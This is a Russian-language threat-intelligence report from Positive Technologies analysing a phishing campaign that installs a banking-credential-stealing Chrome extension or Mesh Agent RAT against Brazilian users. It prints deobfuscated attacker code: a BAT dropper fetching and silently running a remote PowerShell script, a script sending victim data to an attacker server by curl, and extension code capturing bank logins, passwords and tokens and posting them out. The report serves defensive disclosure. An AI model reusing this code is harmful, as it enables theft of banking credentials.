Автор:

Климентий Галкин
Cпециалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
Климентий Галкин
Cпециалист группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies
В начале 2025 года специалистами группы киберразведки TI-департамента экспертного центра безопасности Positive Technologies было обнаружено вредоносное письмо, предлагающее скачать файл с подозрительного сайта. Выявленная цепочка атаки приводит к установке вредоносного расширения для браузера Google Chrome, нацеленного на пользователей из Бразилии.
В процессе исследования были обнаружены файлы, находящиеся в открытой директории злоумышленников, что позволило определить еще одну вариацию атаки с использованием Mesh Agent или PDQ Connect Agent вместо вредоносного расширения браузера. Там же располагались вспомогательные скрипты, содержащие в себе ссылки, в параметрах которых фигурировал идентификатор EnigmaCyberSecurity, — в честь него и была названа кампания.
В первом варианте цепочки атаки для распространения вредоноса используются фишинговые письма под видом счета-фактуры. В таком письме предлагается скачать файл по предложенной ссылке или открыть вредоносное вложение в архиве.
На этом этапе может использоваться несколько форматов файлов, которые будут рассмотрены далее.
Содержимое BAT-скрипта указано ниже; его основная задача — загрузка и запуск вредоносного PowerShell-скрипта.
@echo off
:: Verifica se o script está sendo executado como administrador
net session >nul 2>&1
if %errorLevel% neq 0 (
:: Se não for administrador, solicita elevação
powershell -Command "Start-Process '%~f0' -Verb RunAs"
exit
)
:: Baixar e instalar o PowerShell, se necessário
powershell -NoProfile -ExecutionPolicy Bypass -Command "if (-not (Get-Command powershell -ErrorAction SilentlyContinue)) { Write-Output 'Instalando o PowerShell...'; Install-PackageProvider -Name NuGet -Force; Install-Module -Name PowerShellGet -Force; Install-Module -Name PSReadline -Force }"
:: Baixar o arquivo PS1
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://enota.clientepj.com/cliente.ps1' -OutFile '%TEMP%\cliente.ps1'"
:: Executar o arquivo PS1 de forma silenciosa
powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "%TEMP%\cliente.ps1"
Фрагмент запускаемого выше PowerShell-скрипта:
Add-Type -AssemblyName System.Windows.Forms
# Verifica se já está em execução, não deixa executar 2x.
$currentProcess = Get-Process -Id $PID
$runningProcesses = Get-Process -Name "powershell" -ErrorAction SilentlyContinue |
Where-Object {
$_.Id -ne $PID -and
$_.MainModule.FileName -eq $currentProcess.MainModule.FileName
}
if ($runningProcesses) {
# Exibe MessageBox em vez de Write-Host
[System.Windows.Forms.MessageBox]::Show(
"Já existe uma instância deste script em execução.",
"Script em Execução",
[System.Windows.Forms.MessageBoxButtons]::OK,
[System.Windows.Forms.MessageBoxIcon]::Warning
)
exit 1
}
# Função para não deixar executar o script em VM
function Test-RunningInVM {
# REDACTED
}
if (Test-RunningInVM) {
exit 1
}
#############################################################################
# Configuraçao do Script — Alterar se necessário
$serverIP = "142.54.185.178"
$serverPort = 5555
$textServerIP = "142.54.185.178"
$textServerPort = 5556
$computerName = $env:COMPUTERNAME
$nomeps1 = "cliente.ps1"
$nomebat = "cliente.bat"
$nomeextensao = "nplfchpahihleeejpjmodggckakhglee"
$linkexetensao = "nplfchpahihleeejpjmodggckakhglee;https://clients2.google.com/service/update2/crx"
$diretorioExtensoes = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions\$nomeextensao"
#############################################################################
# ...
Функциональность PowerShell-скрипта включает:
Основной блок кода скрипта в бесконечном цикле обрабатывает команды с сервера. Список команд и их описание приведены ниже.
Команда | Описание |
---|---|
PING | Keepalive-запрос от сервера. Скрипт отправляет PONG в ответ |
DISCONNECT | Команда для остановки текущего процесса скрипта на системе жертвы |
REMOVEKL | Команда деинсталляции скрипта |
CHECAEXT | Проверка наличия установленного вредоносного расширения браузера через реестр. Может вернуть ответ OKEXT, если расширение есть, в противном случае — NOEXT |
START_SCREEN | Установка расширения в браузере Google Chrome через изменение ключа реестра 1 по пути HKEY_LOCAL_MACHINE\Software\Policies\Google\Chrome\ExtensionInstallForcelist. В качестве значения ключа реестра используется идентификатор расширения в магазине Chrome Web Store, например nplfchpahihleeejpjmodggckakhglee;https://clients2.google.com/service/update2/crx. После установки расширения браузер перезапускается и расширение начинает работать. При успешной установке скрипт возвращает на сервер ответ OKEXT, в противном — NOEXT |
MSI-файл используется злоумышленниками для доставки и установки вредоносного расширения для трех браузеров: Microsoft Edge, Google Chrome и Brave. Цепочку выполнения внутри установщика можно найти на рисунке 5. В ней можно выделить два основных действия — viewer.exe и LaunchExeWithDirectory.
Сначала запускается unificado.bat следующей командой: /EnforcedRunAsAdmin /HideWindow "[#unificado.bat]". Сам unificado.bat выглядит следующим образом:
@echo off
chcp 65001 >nul
:: Captura Data/Hora
for /f "tokens=2 delims==" %%a in ('wmic os get localdatetime /value') do set DATETIME=%%a
set "DATA_HORA=%DATETIME:~0,4%-%DATETIME:~4,2%-%DATETIME:~6,2% %DATETIME:~8,2%:%DATETIME:~10,2%:%DATETIME:~12,2%"
:: Consulta API ipinfo.io diretamente via PowerShell (100% funcional)
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).ip"') do set "IP_PUBLICO=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).hostname"') do set "HOST_INTERNET=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).city"') do set "CIDADE=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).region"') do set "UF=%%a"
for /f "delims=" %%a in ('powershell -command "(Invoke-RestMethod https://ipinfo.io/json).country"') do set "PAIS=%%a"
:: Define device padrão
set "DEVICE=Computador"
:: Verifica Warsaw rodando
sc query "Warsaw Technology" | find "RUNNING" >nul
if %errorlevel%==0 (
set "WARSAW_STATUS=Warsaw Existente"
set "STATUS=LIBERADO"
) else (
set "WARSAW_STATUS=Warsaw Inexistente"
set "STATUS=BLOQUEADO (Warsaw ausente)"
)
:: Envia ao contador (válido para ambas situações)
curl -G "https://enota.clientepj.com/sapinho/contador.php" ^
--data-urlencode "data=%DATA_HORA%" ^
--data-urlencode "ip=%IP_PUBLICO%" ^
--data-urlencode "host=%HOST_INTERNET%" ^
--data-urlencode "pais=%PAIS%" ^
--data-urlencode "uf=%UF%" ^
--data-urlencode "cidade=%CIDADE%" ^
--data-urlencode "device=Computador" ^
--data-urlencode "warsaw=%WARSAW_STATUS%" ^
--data-urlencode "status=%STATUS%" ^
--silent --output nul
:: Se Warsaw não existir, bloqueia a instalação automaticamente
if "%WARSAW_STATUS%"=="Warsaw Inexistente" (
echo O Warsaw nao esta rodando! Instalacao cancelada.
exit /b 1
)
exit /b 0
Скрипт собирает базовую информацию о системе жертвы и отправляет на управляющий сервер enota.clientepj.com следующие параметры:
Как можно заметить, для дальнейшей работы необходимо наличие сервиса Warsaw Technology. Если сервис существует в системе жертвы, то скрипт завершается успешно и запускаются следующие действия.
Событие LaunchExeWithDirectory запускает обфусцированный JavaScript-код из файла event.js. Сам файл можно найти внутри установщика (рисунок 7). Фрагмент JavaScript-кода после деобфускации приведен ниже.
// ...
function killBrowsers() {
var ajeya = new ActiveXObject("WScript.Shell");
var kalee = ["taskkill /F /IM chrome.exe", "taskkill /F /IM msedge.exe", "taskkill /F /IM brave.exe"];
for (var chadley = 0; chadley < kalee.length; chadley++) {
try {
ajeya.Run(kalee[chadley], 0, true);
} catch (kalika) {}
}
}
function getUserDirectories() {
var novareign = [];
if (fso.FolderExists("C:\\Users")) {
var jarran = fso.GetFolder("C:\\Users");
var carmenlita = new Enumerator(jarran.SubFolders);
for (; !carmenlita.atEnd(); carmenlita.moveNext()) {
novareign.push(carmenlita.item().Path);
}
} else {}
return novareign;
}
var userDirectories = getUserDirectories();
for (var i = 0; i < userDirectories.length; i++) {
var desktopPath = userDirectories[i] + "\\Desktop";
var desktopPath2 = userDirectories[i] + "\\OneDrive\\Área de trabalho";
var startMenuPath = userDirectories[i] + "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs";
var quickLaunchPath = userDirectories[i] + "\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch";
processShortcuts(desktopPath);
processShortcuts(desktopPath2);
processShortcuts("C:\\programdata\\Microsoft\\Windows\\Start Menu\\Programs");
processShortcuts(startMenuPath);
processShortcuts(quickLaunchPath);
}
deletarArquivo("c:\\programdata\\event.js");
deletarArquivo("c:\\programdata\\aplicativo.msi");
function alterarStringNoArquivo(jaylynn, demetras) {
var semaya = new ActiveXObject("Scripting.FileSystemObject");
try {
var jacquette = semaya.OpenTextFile("C:\\programdata\\microsoft\\TIMEDATE\\cs.js", 1);
// ...
Отличия текущего варианта от BAT-скрипта из предыдущего раздела следующие:
Установщик Inno Setup, в отличие от MSI, запускает PowerShell-скрипт, который был описан в разделе про BAT-файл:
Расширение представляет из себя несколько .js-файлов и файл манифеста (рисунок 9). Основной код расположен в файле run-back.js, а cs.js внедряется в определенные страницы после их загрузки, что можно видеть в манифесте. По паттернам URL в манифесте и в коде скриптов видно, что они относятся к Banco do Brasil.
Для начала рассмотрим run-back.js, который после деобфускации выглядит следующим образом:
let e = '';
let t = '';
let a = '';
let o = '';
function r(_0x1fa244, _0x30450a) {
chrome.storage.sync.get("eindeutigeKennung", function (_0x5cc065) {
a = _0x5cc065.eindeutigeKennung;
var _0x5cc065 = "https://financial-executive.com/comando_temporario.php?eindeutigeKennung=" + a + "&k=" + _0x1fa244.identificacaoUsuario;
var _0x10f258 = {
'method': _0x30450a,
'headers': {
'Content-Type': "application/json"
},
'body': JSON.stringify(_0x1fa244)
};
fetch(_0x5cc065, _0x10f258);
});
}
// ...
В коде при установке расширения в хранилище помещается значение eindeutigeKennung (в переводе с немецкого — «уникальный идентификатор»), который вычисляется следующим образом (рис. 10).
Код содержит callback-функции, которые вызываются по событиям onBeforeSendHeaders, onBeforeRequest и onMessage. Для взаимодействия с управляющим сервером злоумышленники написали несколько вспомогательных функций. Функция r(requestBody , requestMethod), код которой можно найти выше, отправляет данные на сервер, помещая в один из параметров уникальный идентификатор eindeutigeKennung. Собираемая информация представлена ниже.
Конечный путь в ссылке | Метод, используемый в запросе | Собираемая информация |
/armazenar-senha-conta | POST | Тело запроса, пароль от учетной записи, заголовки запроса |
/login/token | POST | Тело запроса, токен аутентификации пользователя в параметре tokenHeaderDaten |
/login | POST | Тело запроса, заголовки запроса, IP-адрес, полученный при обращении на ipinfo.io |
Пример кода, который отправляет информацию с пользовательскими данными, — ниже.
chrome.webRequest.onBeforeRequest.addListener(function (request) {
let parsedUrl = new URL(request.url);
if ('POST' === request.method && parsedUrl.pathname.includes("/login")) {
let loginData = (b = request.requestBody) && b.raw ? JSON.parse(decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(b.raw[0].bytes)))) : {};
if (loginData && loginData.identificacaoUsuario) {
savedLoginData = JSON.stringify(loginData);
interval = setInterval(s, 2000);
}
} else {
if ('POST' === request.method && parsedUrl.pathname.includes("/armazenar-senha-conta")) {
let reqBodyObject = (b = request.requestBody) && b.raw ? JSON.parse(decodeURIComponent(String.fromCharCode.apply(null, new Uint8Array(b.raw[0].bytes)))) : {};
let reqHeadersObj;
if (reqBodyObject && reqBodyObject.senhaContaSelecaoInputV1) {
reqHeadersObj = request.requestHeaders;
r({
...JSON.parse(savedLoginData),
'senha8': reqBodyObject.senhaContaSelecaoInputV1.senhaContaSelecao,
'tokenHeaderDaten': reqHeadersObj
}, "PATCH");
}
}
}
}, {
'urls': ['<all_urls>']
}, ["requestBody"]);
Другая функция s() используется для получения и обработки команд с сервера злоумышленников. Она вызывается по событиям onBeforeRequest и onMessage. Пример вызова выглядит следующим образом.
chrome.runtime.onMessage.addListener((_message, _sender, _sendResponse) => {
var _messageData;
if ("login" === _message.type) {
savedLoginData = JSON.stringify(_message.data);
interval = setInterval(s, 2000);
} else if ("store-password" === _message.type) {
_messageData = _message.data;
_message = _message.headers;
r({
...JSON.parse(savedLoginData),
'senha8': _messageData.senhaContaSelecaoInputV1.senhaContaSelecao,
'tokenHeaderDaten': _message
}, 'PATCH');
}
});
Функция s() приведена ниже.
async function s() {
chrome.tabs.query({
'active': true,
'currentWindow': true
}, function (_activeTabs) {
if (_activeTabs[0] && _activeTabs[0].url.includes('apf-apj-')) {
q = JSON.parse(savedLoginData);
fetch("https://financial-executive.com/comando_temporario.php?eindeutigeKennung=" + a + "&k=" + q.identificacaoUsuario).then(_response => _response.json()).then(function (_responseObject) {
if (_responseObject.comando && o != _responseObject.comando) {
let _messageData = {};
if ("CODE_ZUM_LESEN" === _responseObject.comando) {
bildadresse = _responseObject.qr;
_messageData = {
'befehlstyp': "codeZumLesen",
'bildadresse': bildadresse
};
} else if ("WARTEN" === _responseObject.comando) {
_messageData = {
'befehlstyp': "warten"
};
} else if ("SCHLIEBEN_WARTEN" === _responseObject.comando) {
_messageData = {
'befehlstyp': "schliebenWarten"
};
}
chrome.tabs.sendMessage(_activeTabs[0].id, _messageData);
o = _responseObject.comando;
}
});
}
});
}
Данная функция взаимодействует с cs.js, который указан ниже.
По коду cs.js и s() видно, что их разработка не завершена, но потенциальная функциональность понятна. Функция s(), если в ссылке активной вкладки есть подстрока apf-apj-, используемая в API Banco do Brasil, отправляет на сервер злоумышленников запрос по ссылке https://financial-executive.com/comando_temporario.php для получения и обработки новой команды. Список обрабатываемых команд приведен ниже.
Команда в s() | Команда в cs.js | Описание |
CODE_ZUM_LESEN | codeZumLesen | (В переводе с немецкого — «код для считывания».) Как только вызывается эта команда, создается событие codeZumLesen с параметром bildadresse, в который передается QR-код. Предположительно, должна показывать жертве вредоносный QR-код на странице банка |
WARTEN | warten | (Переведено с немецкого — «ждать».) Вызывается новое событие warten. Предположительно, должна имитировать экран загрузки |
SCHLIEBEN_WARTEN | schliebenWarten | (В переводе с немецкого — «прекратить ожидание».) Вызывается новое событие schliebenWarten. Предположительно, должна имитировать экран загрузки |
Таким образом, злоумышленник собирает конфиденциальную пользовательскую информацию, используемую при аутентификации в определенном сервисе (предположительно — Banco do Brasil). Интересной особенностью кода является используемый язык переменных: либо немецкий, либо португальский. Это может либо характеризовать местоположение злоумышленника, либо указывать на то, что код подобного стилера был написан не с нуля, а у кого-то заимствован.
Помимо атаки с использованием расширения для браузера, была обнаружена атака с использованием Mesh Agent в качестве вредоносного ПО.
Mesh Agent RAT (Remote Access Tools) — это программное обеспечение, которое запускается на удаленных устройствах и подключается к серверу MeshCentral для удаленного управления устройствами. Этот агент скомпилирован для Windows, многих различных дистрибутивов Linux, macOS и FreeBSD. Кроме того, он скомпилирован для множества различных процессоров x86-32, x86-64, ARM, MIPS.
Источник: github.com/Ylianst/MeshAgent
Техника распространения ВПО такая же — фишинговое письмо на тему счета-фактуры c MSI-файлом. После успешной установки агент запускается и связывается с сервером по ссылке wss://mesh.computadorpj.com/agent.ashx и https://mesh.computadorpj.com/. Помимо Mesh Agent, на серверах злоумышленников было обнаружено несколько образцов установщиков PDQ Connect Agent.
Вариант атаки с использованием RAT позволяет атакующим распространяться по зараженной инфраструктуре, в то время как вариант с вредоносным расширением затрагивает только одно пользовательское устройство. Одно из последствий атаки для компаний будет описано в разделе «Жертвы».
В ходе исследования было обнаружено несколько вредоносных доменов и серверов злоумышленников. Благодаря подробному изучению используемых TLS-сертификатов и других артефактов двух цепочек атак стало известно о нескольких сетевых индикаторах:
Домен computadorpj.com использует общий TLS-сертификат вместе с доменом — nfe-fiscal.com. Оба домена располагались на IP-адресе 107.174.231.26 автономной системы (AS-COLOCROSSING).
Другие поддомены частично располагались на IP-адресе 142.54.185.178, используемом в PowerShell-скрипте для отправки команд в систему жертвы.
Расширить инфраструктуру можно, если обратить внимание на метаданные вредоносных установщиков (рисунок 15). Поиск по открытым источникам, включая публичные песочницы, позволил добавить еще несколько исследуемых сетевых индикаторов, включая репозитории GitHub.
Новые сетевые индикаторы, полученные на основе ITW-ссылок обнаруженных семплов со схожими метаданными (рисунок 10), выглядят следующим образом:
В PowerShell-скриптах, устанавливающих расширение в системе жертвы, указывается идентификатор в магазине Chrome Web Store. Обнаруженные идентификаторы расширений:
На данный момент расширения уже удалены из магазина как вредоносные, однако можно просмотреть историю изменений некоторых из созданных расширений.
Как было сказано раннее, в текущей вредоносной кампании используется две цепочки атаки: атака с вредоносным расширением с целью заражения пользователей из Бразилии и с Mesh Agent. Вторая позволяет распространяться по инфраструктурам зараженных компаний.
Определить скомпрометированные организации и одну из целей их заражения удалось на основе данных в открытой директории злоумышленников. В файле https://enota.clientepj.com/uploads/resultados.txt были перечислены ссылки вида http://<victim-domain>/about.php?key=EnigmaCyberSecurity. На некоторых из ссылок до сих пор видна активность (рисунок 17, некоторые поля замазаны с целью приватности). Название самого нижнего текстового поля переводится как «Введите ниже адрес электронной почты жертвы»; в нем можно указывать сразу несколько электронных адресов. Исходный код этой страницы так же есть в открытой директории злоумышленников.
Таким образом, серверы взломанных компаний нужны злоумышленникам для отправки писем, чтобы заразить пользователей из Бразилии вредоносным расширением.
Всего на основе подобных ссылок было обнаружено 70 уникальных компаний-жертв. Количество же скачиваний самого расширения в Chrome Web Store — 722. Однако некоторая часть из скачиваний — это работа песочниц. Общая география жертв всех атак выглядит следующим образом.
Исследование показывает использование достаточно уникальных техник в регионе Латинской Америки — вредоносное расширение браузера, распространение через установщики Windows Installer и Inno Setup. Для универсальности своих атак и, следовательно, чтобы потенциальных жертв было больше, злоумышленники использовали две цепочки атаки: одна с использованием расширения, другая — с Mesh Agent или другими RAT.
Судя по файлам, расположенным в открытой директории атакующих, заражение компаний нужно для более незаметной рассылки писем от лица существующих компаний. Однако основной фокус атак остался на обычных пользователях Бразилии. Целью злоумышленников остается получение аутентификационных данных от банковских счетов жертв. Мы продолжим следить за данной вредоносной активностью и обязательно оповестим в случае возникновения новой массовой атаки.